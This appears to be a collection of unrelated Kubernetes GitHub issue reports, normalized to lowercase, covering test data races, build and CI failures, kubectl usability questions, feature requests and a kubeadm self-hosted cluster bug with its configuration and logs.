+++  1130 00:59:11  building go targets for linux/amd64:\r     ./vendor/k8s.io/code-generator/cmd/openapi-gen\r +++  1130 00:59:23  building the toolchain targets:\r     k8s.io/kubernetes/hack/cmd/teststale\r     k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata\r +++  1130 00:59:23  generating bindata:\r     test/e2e/generated/gobindata_util.go\r ~ ~/test/e2e/generated\r ~/test/e2e/generated\r +++  1130 00:59:24  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     vendor/k8s.io/kube-aggregator\r     vendor/k8s.io/apiextensions-apiserver\r     plugin/cmd/kube-scheduler\r     cluster/gce/gci/mounter

 \r   what happened  :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58320/pull-kubernetes-bazel-test/25992/\r    \r bazel test //pkg/cloudprovider/providers/azure:go_default_test\r e0116 08:02:57.246748      14 azure_loadbalancer.go:288  selectloadbalancer: cluster testcluster  service default/service-2  isinternal true  -  all available load balancers have exceeded maximum rule limit 1, vmsetnames   as  \r e0116 08:02:57.345730      14 azure_loadbalancer.go:288  selectloadbalancer: cluster testcluster  service default/service-2  isinternal false  -  all available load balancers have exceeded maximum rule limit 1, vmsetnames   as  \r e0116 08:02:58.790605      14 azure_blobdiskcontroller.go:76  azuredisk - getallstorageaccounts error: azure.bearerauthorizer withauthorization: failed to refresh the token for request to https://management.azure.com/subscriptions/--subscription-id--/resourcegroups/--resource-group--/providers/microsoft.storage/storageaccounts?api-version=2017-06-01: statuscode=0 -- original error: adal: refresh request failed. status code = '400'. response body: {\ error\ :\ invalid_request\ ,\ error_description\ :\ aadsts90002: requested tenant identifier '--tenant-id--' is not valid.\\r\ trace id: a6d564a2-94fc-432c-a8a0-23f026682500\\r\ correlation id: 925ff6f8-26c0-479c-bab9-2eff776147e4\\r\ timestamp: 2018-01-16 08:02:59z\ ,\ error_codes\ : 90002 ,\ timestamp\ :\ 2018-01-16 08:02:59z\ ,\ trace_id\ :\ a6d564a2-94fc-432c-a8a0-23f026682500\ ,\ correlation_id\ :\ 925ff6f8-26c0-479c-bab9-2eff776147e4\ }\r e0116 08:02:58.793439      14 azure_blobdiskcontroller.go:76  azuredisk - getallstorageaccounts error: storage.accountsclient listbyresourcegroup: invalid input: autorest/validation: validation failed: parameter=resourcegroupname constraint=minlength value=\ \  details: value length must be greater than or equal to 1\r e0116 08:02:58.795075      14 azure_blobdiskcontroller.go:76  azuredisk - getallstorageaccounts error: storage.accountsclient listbyresourcegroup: invalid input: autorest/validation: validation failed: parameter=resourcegroupname constraint=minlength value=\ \  details: value length must be greater than or equal to 1\r e0116 08:02:58.866717      14 azure_blobdiskcontroller.go:76  azuredisk - getallstorageaccounts error: azure.bearerauthorizer withauthorization: failed to refresh the token for request to https://management.azure.com/subscriptions/--subscription-id--/resourcegroups/--resource-group--/providers/microsoft.storage/storageaccounts?api-version=2017-06-01: statuscode=0 -- original error: adal: refresh request failed. status code = '400'. response body: {\ error\ :\ invalid_request\ ,\ error_description\ :\ aadsts90002: requested tenant identifier '--tenant-id--' is not valid.\\r\ trace id: b601ebed-6bfd-496c-a9da-ad8286413200\\r\ correlation id: 508095ad-5b26-4faf-8a0f-fef89cd8b0f0\\r\ timestamp: 2018-01-16 08:02:59z\ ,\ error_codes\ : 90002 ,\ timestamp\ :\ 2018-01-16 08:02:59z\ ,\ trace_id\ :\ b601ebed-6bfd-496c-a9da-ad8286413200\ ,\ correlation_id\ :\ 508095ad-5b26-4faf-8a0f-fef89cd8b0f0\ }\r ==================\r warning: data race\r write at 0x00c42003b4b8 by goroutine 43:\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.settestvirtualmachinescalesets  \r       pkg/cloudprovider/providers/azure/azure_vmss_test.go:71 +0x10d5\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.testgetinstanceidbynodename  \r       pkg/cloudprovider/providers/azure/azure_vmss_test.go:139 +0x366\r   testing.trunner  \r       goroot/src/testing/testing.go:746 +0x16c\r \r previous read at 0x00c42003b4b8 by goroutine 40:\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  scaleset .listscalesetswithretry.func1  \r       pkg/cloudprovider/providers/azure/azure_vmss.go:406 +0x94\r   k8s.io/apimachinery/pkg/util/wait.exponentialbackoff  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:203 +0xb0\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  scaleset .listscalesetswithretry  \r       pkg/cloudprovider/providers/azure/azure_vmss.go:405 +0x2e9\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.  scaleset .updatecache  \r       pkg/cloudprovider/providers/azure/azure_vmss.go:106 +0x53\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.newscaleset.func1  \r       pkg/cloudprovider/providers/azure/azure_vmss.go:96 +0x8d\r   k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133 +0x6f\r   k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134 +0xcd\r   k8s.io/apimachinery/pkg/util/wait.until  \r       vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x5a\r \r goroutine 43  running  created at:\r   testing.  t .run  \r       goroot/src/testing/testing.go:789 +0x568\r   testing.runtests.func1  \r       goroot/src/testing/testing.go:1004 +0xa7\r   testing.trunner  \r       goroot/src/testing/testing.go:746 +0x16c\r   testing.runtests  \r       goroot/src/testing/testing.go:1002 +0x521\r   testing.  m .run  \r       goroot/src/testing/testing.go:921 +0x206\r   main.main  \r       bazel-out/k8-fastbuild/bin/pkg/cloudprovider/providers/azure/go_default_test~/testmain.go:194 +0x367\r \r goroutine 40  running  created at:\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.newscaleset  \r       pkg/cloudprovider/providers/azure/azure_vmss.go:92 +0x2a6\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.newtestscaleset  \r       pkg/cloudprovider/providers/azure/azure_vmss_test.go:28 +0x34\r   k8s.io/kubernetes/pkg/cloudprovider/providers/azure.testgetinstanceidbynodename  \r       pkg/cloudprovider/providers/azure/azure_vmss_test.go:105 +0x65\r   testing.trunner  \r       goroot/src/testing/testing.go:746 +0x16c\r ==================\r --- fail: testgetinstanceidbynodename  0.00s \r \ttesting.go:699: race detected during execution of test\r fail\r \r    \r \r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i have two custom resources in my cluster called cluster, and couldn't figure out how to ask for one or the other.  kubectl help get  was of no help, and various google searches for things like \ kubectl apigroup\  or \ kubectl crd\  revealed nothing of use. worse, some bugs that came up like https://github.com/kubernetes/kubernetes/issues/13929 suggested that the syntax was  apigroup.version.name , which produced entirely incorrect output  e.g.  kubectl get crd.projectcalico.org.v1.ippool  results in  error: the server doesn't have a resource type \ crd\  .\r \r eventually, i stumbled by accident on the correct way to do it, which is to do  kubectl get crd  and then  kubectl get <fqdn> , where  fqdn  is the name of the custom resource exactly as listed in the output of  kubectl get crd .\r \r i still don't know how to request a specific api version using this syntax, if that is even possible.\r \r   what you expected to happen  :\r \r i expected  kubectl help get  to document how to query custom resources, given that they're increasingly central to running production quality clusters with various operators. failing that, i expected the k8s website to have documentation on querying custom resources that is discoverable via google search.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r install something that uses custom resources  e.g. calico in k8s datastore mode, rook , and try to  kubectl get  one of the custom resources by precise name  e.g. assume that there are multiple  ippools  objects defined by different crds, so you can't just  kubectl get ippools , you have to be more precise .\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.2 client+cserver

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-e2e-gce\r \r   which test s  are failing  :\r    \r  sig-storage  csi volumes  driver: csi-hostpath   testpattern: dynamic pv  block volmode   multivolume should access to two volumes with different volume mode and retain data across pod recreation on the same node\r    \r \r    \r test/e2e/storage/testsuites/multivolume.go:180\r unexpected error:\r     < errors.errorstring | 0xc0028b7e60>: {\r         s: \ persistentvolumeclaims  pvc-dt6vs  not all in phase bound within 5m0s\ ,\r     }\r     persistentvolumeclaims  pvc-dt6vs  not all in phase bound within 5m0s\r occurred\r test/e2e/storage/testsuites/base.go:330\r    \r \r   since when has it been failing  :\r unknown\r \r   testgrid link  :\r https://prow.k8s.io/job-history/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gce\r \r   reason for failure  :\r unknown\r \r   anything else we need to know  :\r pr that introduces the new test:\r https://github.com/kubernetes/kubernetes/pull/74693\r \r /assign @msau42 @mkimuram @wongma7 \r @kubernetes/sig-storage-bugs \r   / \r the job is pr blocking and is flaking mutliple times in a row.\r \r

not a failing test per-se, but i found following errors in build log:\r    \r w0417 08:18:35.533  e0417 08:18:35.532786   12335 api_responsiveness_prometheus.go:71  %!s missing : prometheus framework is not provided!\r w0417 10:09:53.486  e0417 10:09:53.486038   12335 api_responsiveness_prometheus.go:71  %!s missing : prometheus framework is not provided!\r    \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/1118424348374339585\r \r \r /assign @mm4tt\r looks related to your current work.

rancher 1.6 is using it still. current rancher version is 2.2.x per @alena1108. so we could possibly remove it from upstream and let the rancher folks maintain it in their own tree.\r \r we don't need to carry the extra weight as mentioned in https://github.com/kubernetes/kubernetes/issues/76506\r \r since this is useful only in the rancher environment, we don't really need the traditional deprecation period. right @alena1108?

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am trying to get the container cpu usage information in grafana, but getting emty diagrams. grafana has the next dashboard request:\r  sum by  container_name   rate container_cpu_usage_seconds_total{job=\\\ kubelet\\\ , namespace=\\\ $namespace\\\ , image!=\\\ \\\ ,container_name!=\\\ pod\\\ ,pod_name=\\\ $pod\\\ } 1m    \r here is the part of the cadvisor output:\r  container_cpu_usage_seconds_total{container_name=\ \ ,cpu=\ total\ ,id=\ /kubepods/burstable/pod6c90ee67-83c5-11e9-94aa-000d3a218149\ ,image=\ \ ,name=\ \ ,namespace=\ default\ ,pod_name=\ cassandra-1\ } 23630.333620239 \r as you can see, there is the empty container_name field.\r   what you expected to happen  :\r container_name=\ cassandra\ \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.6\ , gitcommit:\ abdda3f9fefa29172298a2e42f5102e777a8ec25\ , gittreestate:\ clean\ , builddate:\ 2019-05-08t13:53:53z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.6\ , gitcommit:\ abdda3f9fefa29172298a2e42f5102e777a8ec25\ , gittreestate:\ clean\ , builddate:\ 2019-05-08t13:46:28z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  azure \r - os  e.g:  cat /etc/os-release  :  coreos stable  2079.3.0  \r - kernel  e.g.  uname -a  :  linux tmp-plus1connect-k8s-master-0 4.19.34-coreos  1 smp mon apr 22 20:32:34 -00 2019 x86_64 intel r  xeon r  cpu e5-2673 v4 @ 2.30ghz genuineintel gnu/linux \r - install tools:  terraform \r - network plugin and version  if this is a network-related bug :  azure-cni \r - others:\r

hey, when draining a node or cordon a node i think its important to be able to set a message why this node was cordoned.  e.g  two examples   kubectl cordon k8s_nodename \ disabled due to docker maintenance\  kubectl drain k8s_nodename --set-message \ disabled due to docker maintenance\

currently our code responsible for getting the first pod for logs or attach allows specifying a timeout, how long to wait for that: see  here  https://github.com/kubernetes/kubernetes/blob/1cb737fb970a65be2b3ff21cbf00196359b56cd3/pkg/kubectl/cmd/util/factory_object_mapping.go l229  and  here  https://github.com/kubernetes/kubernetes/blob/1cb737fb970a65be2b3ff21cbf00196359b56cd3/pkg/kubectl/cmd/util/factory_object_mapping.go l360  but the value in there is hard-coded. it would be nice to expose this option to user through  kubectl  flag.

https://k8s-testgrid.appspot.com/sq-blocking test-go\r \r fail\tk8s.io/kubernetes/federation/pkg/federation-controller/configmap\t3.522s\r \r    \r === run   testconfigmapcontroller\r ==================\r warning: data race\r read at 0x00c4203ed3f8 by goroutine 28:\r   reflect.value.isnil  \r       /usr/local/go/src/reflect/value.go:975 +0xd8\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:70 +0xe8b\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:97 +0xe09\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:97 +0xe09\r   reflect.deepvalueequal  \r       /usr/local/go/src/reflect/deepequal.go:94 +0xc9b\r   reflect.deepequal  \r       /usr/local/go/src/reflect/deepequal.go:185 +0x2bb\r   k8s.io/kubernetes/federation/pkg/federation-controller/util.newtriggeronallchanges.func3  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/handlers.go:42 +0xc7\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.resourceeventhandlerfuncs.onupdate  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:199 +0x6f\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  resourceeventhandlerfuncs .onupdate  \r       <autogenerated>:55 +0xb0\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.newinformer.func1  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:265 +0x3ab\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  deltafifo .pop  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/delta_fifo.go:451 +0x3ea\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .processloop  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:147 +0x70\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller . k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.processloop -fm  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:121 +0x41\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:96 +0x6f\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:97 +0xbd\r   k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:52 +0x5a\r   k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache.  controller .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/controller.go:121 +0x31f\r \r previous write at 0x00c4203ed3f8 by goroutine 41:\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller .addfinalizerfunc  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:232 +0x167\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller . k8s.io/kubernetes/federation/pkg/federation-controller/configmap.addfinalizerfunc -fm  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:179 +0x86\r   k8s.io/kubernetes/federation/pkg/federation-controller/util/deletionhelper.  deletionhelper .ensurefinalizers  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/deletionhelper/deletion_helper.go:101 +0x3a9\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller .reconcileconfigmap  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:342 +0x2ea\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller .run.func2  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:249 +0xe2\r   k8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler.func1  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:176 +0x105\r \r goroutine 28  running  created at:\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:241 +0x73\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.testconfigmapcontroller  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller_test.go:88 +0xeb0\r   testing.trunner  \r       /usr/local/go/src/testing/testing.go:610 +0xc9\r \r goroutine 41  running  created at:\r   k8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:181 +0x56\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.  configmapcontroller .run  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller.go:250 +0x155\r   k8s.io/kubernetes/federation/pkg/federation-controller/configmap.testconfigmapcontroller  \r       /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/configmap/configmap_controller_test.go:88 +0xeb0\r   testing.trunner  \r       /usr/local/go/src/testing/testing.go:610 +0xc9\r ==================\r --- pass: testconfigmapcontroller  1.05s \r pass\r found 1 data race s \r fail\tk8s.io/kubernetes/federation/pkg/federation-controller/configmap\t3.522s\r    \r \r @kubernetes/sig-federation-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r > uncomment only one, leave it on its own line: \r >\r >   \r tracking issue for implementing  preemption in kubernetes scheduler.

is this a bug report or feature request?  :\r \r    \r \r ---\r \r   what happened  :    \r \r   operation  \r 1. create namespace\r 2. wait until all related secrets are created successfully\r 3. delete namespace\r \r   result  \r 1. apiserver has error log\r \r    \r admit error: secrets \ default-token-9shcg\  is forbidden: unable to create new content in namespace perftest-c-1502963261-0-0 because it is being terminated.\r \r    \r \r 2. tokens controller has error log\r \r \r    \r tokens_controller.go:174  secrets \ default-token-9shcg\  is forbidden: unable to create new content in namespace perftest-c-1502963261-0-0 because it is being terminated.\r \r    \r \r   reason  \r - delete namespace, apiserver will set deletiontimestamp and terminating.\r - namespace controller watch this event, starting delete all contents under this namespace, including secrets.\r - tokens controller watch secret delete event, and will update correspongding serviceaccount by removing reference of this secret.\r - tokens controller watch serviceaccount update event, and will create service-account-token if needed.\r - apiserver get this post request, reject it because namespace is terminating.\r \r \r ---\r \r   what you expected to happen  :\r \r there should not be error log.\r \r when namespace is terminating, tokens controller should not create secret under it.\r \r that is to say, tokens controller should add namespace cache. when create secret, check namespace firtly.\r \r ---\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create namespace\r 2. wait until all related secrets are created successfully\r 3. delete namespace\r \r ---\r \r   anything else we need to know?  :\r \r not critical and not has great bad effect. but it is not the reason we ignore this problem.\r \r \r ---\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.3.5\r \r

i find it's confused to add global mount to volume manager.the code says it mount device to global mount path then mount the volume to pod specific path.does it really need global mount?why not just mount device to pod specific path?i think it also works fine

i don't see an existing issue, so opening one for tracking.\r \r pr builds are currently failing due to the sha of a remote archive changing.\r \r https://github.com/kubernetes/kubernetes/pull/52299 issuecomment-328623722\r \r > the sha256sum of that archive apparently changed.\r >\r > > $ wget https://github.com/bazelbuild/rules_go/archive/82483596ec203eb9c1849937636f4cbed83733eb.tar.gz\r ...\r $ sha256sum 82483596ec203eb9c1849937636f4cbed83733eb.tar.gz\r 27a13726ff8621cfa4592fbef116b253043c2b093c8814265dc4489a0e67d229  82483596ec203eb9c1849937636f4cbed83733eb.tar.gz\r >\r > ???\r \r cc @kubernetes/kubernetes-release-managers \r cc @kubernetes/test-infra-maintainers \r \r cc @krzyzacy @ixdy

/ /  /status approved-for-milestone\r @kubernetes/sig-storage-test-failures \r \r this test has been failing since 2017-11-22 in  gci-gce-alpha-features  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features  which is on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking , and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-alpha-features\r \r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/17599\r - this is also failing on  non-release-blocking   gci-gce-gke-alpha-features  https://k8s-testgrid.appspot.com/google-gke gci-gke-alpha-features \r - triage cluster  c49044b7fa3094fa3e5a  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=persistentvolumes-local c49044b7fa3094fa3e5a \r - suspect commit range: https://github.com/kubernetes/kubernetes/compare/4e2f5e221...f8ffbd9d6\r

bug report  :\r \r   \r   what happened  :\r trying to bring up a cluster with  kubeadm 1.11.2  using  self-hosted  mode. everything fine, but two  daemonset s display status not aligned with the  pod s they manage:\r    \r   kubectl -n kube-system get pods\r name                                        ready     status              restarts   age\r etcd-orhlp-dck013                           1/1       running             0          51m\r kube-proxy-j8zt7                            1/1       running             0          52m\r self-hosted-kube-apiserver-c2zdz            1/1       running             1          52m\r self-hosted-kube-controller-manager-crxmd   1/1       running             1          52m\r self-hosted-kube-scheduler-lsfwh            1/1       running             1          52m\r    \r however:\r    \r   kubectl -n kube-system get ds\r name                                  desired   current   ready     up-to-date   available   node selector                     age\r kube-proxy                            1         1         1         1            1           beta.kubernetes.io/arch=amd64     53m\r self-hosted-kube-apiserver            1         1         1         1            1           node-role.kubernetes.io/master=   53m\r self-hosted-kube-controller-manager   1         1         0         1            0           node-role.kubernetes.io/master=   53m\r self-hosted-kube-scheduler            1         1         0         1            0           node-role.kubernetes.io/master=   53m\r    \r \r   what you expected to happen  :\r i would expect the  daemonset s not to display 0 for the  ready  and  available  columns, but 1, as the respective  pod s are showed as  running  and  ready 1/1 .\r \r   how to reproduce it  as minimally and precisely as possible   :\r just try to create a  self-hosted  cluster with  kubeadm 1.11.2 .\r \r   anything else we need to know?  :\r this is my configuration for kubeadm:\r    \r apiversion: kubeadm.k8s.io/v1alpha2\r kind: masterconfiguration\r clustername: datascience\r kubernetesversion: v1.11.2\r certificatesdir: /etc/kubernetes/pki                             folder where certificates will be created\r featuregates:\r   selfhosting: true                                              control plane will be self hosted in kubernetes, pods names will prefix \ self-hosted-\ \r apiservercertsans:                                               apiserver load balancer ip, in this example we are using haproxy\r - \ bigdata\ \r api:\r   controlplaneendpoint: \ bigdata:6443\ \r networking:\r   dnsdomain: cluster.local\r   podsubnet: 172.16.0.0/16\r   servicesubnet: 172.20.0.0/16\r \r apiserverextraargs:\r    admission-control:                                            deprecated, using enable-admission-plugins\r    bind-address:                                                 not needed default configuration\r    authorization-mode: \ node,rbac,abac\                           abac not permitted\r   feature-gates: \ expandpersistentvolumes=true\ \r   runtime-config: \ extensions/v1beta1=true,extensions/v1beta1/networkpolicies=true,admissionregistration.k8s.io/v1alpha1=true,settings.k8s.io/v1alpha1=true,api/all=true\ \r   requestheader-allowed-names: \ front-proxy-client,aggregator\ \r   enable-admission-plugins: \ namespacelifecycle,limitranger,serviceaccount,noderestriction,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota,podpreset\ \r   disable-admission-plugins: \ \ \r   enable-swagger-ui: \ true\ \r   profiling: \ false\ \r    repair-malformed-updates: \ false\                                deprecated\r   apiserver-count: \ 2\ \r   v: \ 3\ \r \r controllermanagerextraargs:\r    service-cluster-ip-range:                                      configured in networking\r   cluster-name: \ datascience\                                        not necessary\r   service-cluster-ip-range: 172.20.0.0/16                         not necessary\r   feature-gates: \ expandpersistentvolumes=true\ \r   node-monitor-period: \ 2s\ \r   node-monitor-grace-period: \ 16s\ \r   pod-eviction-timeout: \ 30s\ \r   horizontal-pod-autoscaler-downscale-delay: \ 30s\ \r   horizontal-pod-autoscaler-upscale-delay: \ 1m\ \r   profiling: \ false\ \r   v: \ 3\ \r \r  schedulerextraargs:                                              deprecated\r    profiling: \ false\ \r \r kubeletconfiguration:\r   baseconfig:\r     evictionhard:\r       imagefs.available: 3gi\r       memory.available: 500mi\r       nodefs.available: 1gi\r     evictionminimumreclaim:\r       imagefs.available: 2gi\r       memory.available: 0mi\r       nodefs.available: 500mi\r     nodestatusupdatefrequency: 4s\r \r etcd:\r   local:\r     extraargs:\r       listen-client-urls: \ https://127.0.0.1:2379,https://10.141.36.39:2379\ \r       advertise-client-urls: \ https://10.141.36.39:2379\ \r       listen-peer-urls: \ https://10.141.36.39:2380\ \r       initial-advertise-peer-urls: \ https://10.141.36.39:2380\ \r       initial-cluster: \ orhlp-dck013=https://10.141.36.39:2380\ \r     servercertsans:\r       - orhlp-dck013\r       - 10.141.36.39\r     peercertsans:\r       - orhlp-dck013\r       - 10.141.36.39\r    \r and these are the logs i get:\r    \r   kubeadm init --config /root/kubeadm/kubeadm.yaml --ignore-preflight-errors=all\r  endpoint  warning: port specified in api.controlplaneendpoint overrides api.bindport in the controlplane address\r  init  using kubernetes version: v1.11.2\r  preflight  running pre-flight checks\r          warning service-docker : docker service is not enabled, please run 'systemctl enable docker.service'\r          warning service-docker : docker service is not active, please run 'systemctl start docker.service'\r          warning filecontent--proc-sys-net-bridge-bridge-nf-call-iptables : /proc/sys/net/bridge/bridge-nf-call-iptables contents are not set to 1\r          warning filecontent--proc-sys-net-ipv4-ip_forward : /proc/sys/net/ipv4/ip_forward contents are not set to 1\r i0829 17:36:22.071919    3335 kernel_validator.go:81  validating kernel version\r i0829 17:36:22.072057    3335 kernel_validator.go:96  validating kernel config\r  preflight  the system verification failed. printing the output from the verification:\r kernel_version: 4.17.2-1.el7.elrepo.x86_64\r config_namespaces: enabled\r config_net_ns: enabled\r config_pid_ns: enabled\r config_ipc_ns: enabled\r config_uts_ns: enabled\r config_cgroups: enabled\r config_cgroup_cpuacct: enabled\r config_cgroup_device: enabled\r config_cgroup_freezer: enabled\r config_cgroup_sched: enabled\r config_cpusets: enabled\r config_memcg: enabled\r config_inet: enabled\r config_ext4_fs: enabled  as module \r config_proc_fs: enabled\r config_netfilter_xt_target_redirect: enabled  as module \r config_netfilter_xt_match_comment: enabled  as module \r config_overlay_fs: enabled  as module \r config_aufs_fs: not set - required for aufs.\r config_blk_dev_dm: enabled  as module \r os: linux\r cgroups_cpu: enabled\r cgroups_cpuacct: enabled\r cgroups_cpuset: enabled\r cgroups_devices: enabled\r cgroups_freezer: enabled\r cgroups_memory: enabled\r          warning systemverification : failed to get docker info: cannot connect to the docker daemon at unix:///var/run/docker.sock. is the docker daemon running?\r  preflight/images  pulling images required for setting up a kubernetes cluster\r  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r          warning imagepull : failed to pull image  k8s.gcr.io/kube-apiserver-amd64:v1.11.2 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/kube-controller-manager-amd64:v1.11.2 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/kube-scheduler-amd64:v1.11.2 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/kube-proxy-amd64:v1.11.2 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/pause:3.1 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/etcd-amd64:3.2.18 : exit status 1\r          warning imagepull : failed to pull image  k8s.gcr.io/coredns:1.1.3 : exit status 1\r w0829 17:36:23.148024    3335 flags.go:77  cannot automatically assign a '--cgroup-driver' value when starting the kubelet: cannot execute 'doc\r  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  preflight  activating the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  